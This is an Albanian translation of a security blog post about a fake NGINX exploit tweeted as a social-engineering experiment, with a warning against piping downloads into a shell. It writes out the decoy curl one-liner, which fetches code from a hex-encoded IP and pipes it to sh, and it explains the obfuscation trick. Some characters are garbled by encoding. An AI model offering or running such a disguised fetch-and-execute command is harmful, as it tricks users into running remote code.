ShĂ«n. pĂ«rkth.: NĂ« 1 qershor, unĂ« vendosa tĂ« realizoj njĂ« eksperiment nĂ« mesin e atyre qĂ« janĂ« tĂ« interesuar pĂ«r sigurinĂ« e informacionit. PĂ«r kĂ«tĂ«, pĂ«rgatita njĂ« eksploit tĂ« rremĂ« pĂ«r njĂ« dobĂ«si tĂ« pa zbuluar nĂ« njĂ« server web dhe e publikova nĂ« Twitter-in tim. Parashikimet e mia â tĂ« zbuloj menjĂ«herĂ« mashtrimin pĂ«rmes kodit nga specialistĂ«t â jo vetĂ«m qĂ« nuk u realizuan... Ato tejkaluan tĂ« gjitha pritshmĂ«ritĂ«, nĂ« mĂ«nyrĂ«n mĂ« tĂ« papritur: tweet-i mori mbĂ«shtetje tĂ« madhe nga shumĂ« njerĂ«z qĂ« nuk u morĂ«n mundimin tĂ« kontrollonin pĂ«rmbajtjen e tij.

TL;DR: mos përdorni asnjëherë pipeline-in e skedarëve në sh ose bash. Kjo është një mënyrë e shkëlqyer për të humbur kontrollin mbi kompjuterin.
Dua të ndaj me ju një histori të vogël për një PoC-eksploit që u krijua më 31 maj. Ai u publikua shpejt në përgjigje të një lajmi nga , anëtare e (ZDI), për faktin se së shpejti do të publikohej informacion mbi një dobësi në NGINX që rezulton në RCE (ekzekutimin e kodit nga distanca). Duke qenë se NGINX është në bazë të shumë faqeve web, ky lajm pritej të kishte ndikim të madh. Por për shkak të vonesave në procesin e 'zbardhjes së përgjegjshme' të informacionit, detajet e ngjarjes nuk ishin të njohura - kjo është procedura standarde e ZDI.

për zbardhjen e dobësisë në NGINX
Pas përfundimit të punës mbi një teknikë të re obfuscation në curl, e citoja tweet-in origjinal dhe 'derdhëm PoC-in e punës', që përbëhej nga një rresht kodi, që supozohej se shfrytëzonte dobësinë e zbuluar. Sigurisht, kjo ishte një marrëzi e plotë. Mendova se do të më kapnin menjëherë dhe se në rastin më të mirë do të merrja disa retweets (dhe ky do të ishte rasti).

me eksploit të rremë
MegjithatĂ«, nuk mund tĂ« imagjinoja atĂ« qĂ« ndodhi mĂ« pas. Popullariteti i tweet-it tim u rrit nĂ« mĂ«nyrĂ« tĂ« jashtĂ«zakonshme. ĂshtĂ« e çuditshme, por deri tani (15:00 MSK mĂ« 1 qershor) ende nuk kishte shumĂ« njerĂ«z qĂ« e kuptonin se ishte njĂ« mashtrim. ShumĂ« e retweetojnĂ« atĂ« pa e verifikuar fare (pa folur pĂ«r ta admiruar grafikĂ«n e bukur ASCII qĂ« ai prodhon).

Shikoni sa bukuri!
Edhe pse të gjitha këto cikle dhe ngjyra janë të mrekullueshme, është e qartë: për t'i parë ato, njerëzit ekzekutuan kodin në makinën e tyre. Fatmirësisht, shfletuesit funksionojnë në mënyrë të ngjashme, dhe duke marrë parasysh faktin se nuk kam nevojë për probleme me ligjin, kodi i fshehur në sitin tim thjesht bënte thirrje echo, pa tentuar të vendosë ose ekzekutojë ndonjë kod shtesë.
Një shkëputje e vogël: , , unë dhe djemtë e tjerë nga ekipi më kemi luajtur me mënyra të ndryshme për obfuscimin e komandave curl, sepse kjo është e këndshme... dhe ne jemi giki. netspooky dhe dnz zbuluan disa mënyra të reja që më dukeshin jashtëzakonisht premtuese. Unë u bashkova me argëtimin dhe provoi të shtoja konvertimet dekadike të IP-së në grupin e hileve. Doli se IP-të gjithashtu mund të konvertohen në formatin hex. Më shumë se kaq, curl dhe shumica e instrumenteve të tjera NIX e pranojnë me kënaqësi IP-të hex! Prandaj, duhej thjesht të krijoja një linjë komandash të besueshme dhe që dukej e sigurt. Në fund të fundit, ndaluam në këtë:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostInxhinieria socio-elektronike (S.E.E.) - më shumë se sa phishing
Siguria dhe njohja ishin pjesë thelbësore e këtij eksperimenti. Mendoj se këto e çuan në suksesin e tij. Linja e komandës shpesh nënkuptonte siguri, duke iu referuar '127.0.0.1' (localhost që njihet nga të gjithë). Konsiderohet se localhost është i sigurt, dhe të dhënat mbi të kurrë nuk e lënë kompjuterin tuaj.
Njohja ishte komponenti i dytë kyç S.E.E. i eksperimentit. Duke qenë se publiku i synuar përbëhej kryesisht nga njerëz të njohur me bazat e sigurisë kompjuterike, ishte e rëndësishme të krijohej një kod, pjesët e të cilit dukeshin të njohura dhe të njohura (dhe kështu të sigurta). Marrja e elementeve nga konceptet e vjetra të eksploitimit dhe kombinimi i tyre në një mënyrë të pazakontë u tregua tepër e suksesshme.
Më poshtë jepet një analizë e detajuar e njësisë një-linjë. Të gjitha në këtë listë janë kozmetike, dhe për funksionimin e tij real nuk nevojitet pothuajse asgjë.
Cilat janë komponentët që në të vërtetë nevojiten? Këto janë -gsS, -O 0x0238f06a, |sh dhe vet serveri i uebit. Serveri i uebit nuk përmbante ndonjë urdhër të dëmshëm, por thjesht transferonte grafikë ASCII përmes komandave echo në skriptin, që përmban index.html. Kur përdoruesi kishte futur një varg me |sh në mes, index.html u ngarkua dhe u ekzekutua. Fatmirësisht, ruajtësit e serverit të uebit nuk kishin qëllime të këqija.
-
../../../%00â paraqet daljen pĂ«rtej drejtorisĂ«; -
ngx_stream_module.soâ rruga pĂ«r njĂ« modul rastĂ«sor NGINX; -
/bin/sh%00<'protocol:TCP'â ne supozojmĂ« se e nisim/bin/shnĂ« makinĂ«n e synuar dhe redirektojmĂ« daljen nĂ« kanalin TCP; -
-O 0x0238f06a#PLToffsetâ pĂ«rbĂ«rĂ«si sekret, i shtuar#PLToffset, qĂ« duket si njĂ« offset i memorjes, ndonjĂ«herĂ« i pĂ«rfshirĂ« nĂ« PLT; -
|sh;â njĂ« copĂ« tjetĂ«r e rĂ«ndĂ«sishme. Ne duhej tĂ« redirektonim daljen nĂ« sh/bash, pĂ«r tĂ« ekzekutuar kodin qĂ« vjen nga serveri i uebit tĂ« sulmuesit, i vendosur nĂ«0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhostâ njĂ« boshllĂ«k, ku netcat i referohet/dev/tcp/localhost, pĂ«r tĂ« bĂ«rĂ« qĂ« gjithçka tĂ« duket e sigurt pĂ«rsĂ«ri. NĂ« tĂ« vĂ«rtetĂ«, nuk bĂ«n asgjĂ« dhe Ă«shtĂ« pĂ«rfshirĂ« nĂ« varg pĂ«r tĂ« dukur bukur.
Këtu përfundon dekodimi i skriptit një-linjë dhe diskutimi i aspekteve të «inxhinierisë socio-elektronike» (përdorimi interesant i phishing-ut).
Konfigurimi i serverit të uebit dhe masat e kundërshtimit
Duke marrë parasysh se shumica dërrmuese e ndjekësve të mi janë ekspertë të sigurisë / hackers, vendosa ta bëj serverin e uebit disi më të qëndrueshëm ndaj manifestimeve të «interesit» nga ana e tyre vetëm që djemtë të kishin diçka për të bërë (dhe po ashtu ishte argëtuese ta konfiguroja). Nuk do ta rendit tërë grackat këtu, pasi eksperimentimi vazhdon, por ja disa gjëra që serveri bën:
- Aktivisht monitoron përpjekjet për shpërndarje në rrjete të caktuara sociale dhe fut miniatura të ndryshme të parapamjes, për të nxitur përdoruesin të klikojë në lidhje.
- Redirekton Chrome / Mozilla / Safari etj. në një video promocionale Thugcrowd në vend të shfaqjes së skriptit shell.
- VĂ«zhgon shenjat KUNDĂR evident tĂ« sulmeve / marrĂ«dhĂ«nieve tĂ« egra, pastaj fillon tĂ« redirektojĂ« kĂ«rkesat nĂ« serverĂ«t e NSA (ha!).
- Instalon një trojan, si dhe një BIOS rootkit në të gjitha kompjuterët, përdoruesit e të cilëve vizitojnë hostin me një shfletues normal (shaka!).

Një pjesë e vogël anti-mirë
NĂ« kĂ«tĂ« rast, qĂ«llimi im i vetĂ«m ishte tĂ« eksploroja disa mundĂ«si tĂ« Apache â nĂ« veçanti, rregullat e mrekullueshme pĂ«r redirektimin e kĂ«rkesave â dhe mendova: pse jo?
Eksploit NGINX (i vërtetë!)
Abonohuni te në Twitter dhe ndiqni punën e shkëlqyer të ZDI për zgjidhjen e vulnerabiliteteve reale dhe mundësive për eksploitat në NGINX. Puna e tyre gjithmonë më ka mahnitur dhe jam mirënjohës ndaj Alicës për durimin në lidhje me të gjitha përmendjet dhe njoftimet që vinte nga twiti im të çmendur. Fatmirësisht, ai solli gjithashtu disa përfitime: ndihmoi në rritjen e ndërgjegjësimit për vulnerabilitetet në NGINX, si dhe mbi problemet që shkakton abuzimi me curl-in.
Burimi: habr.com
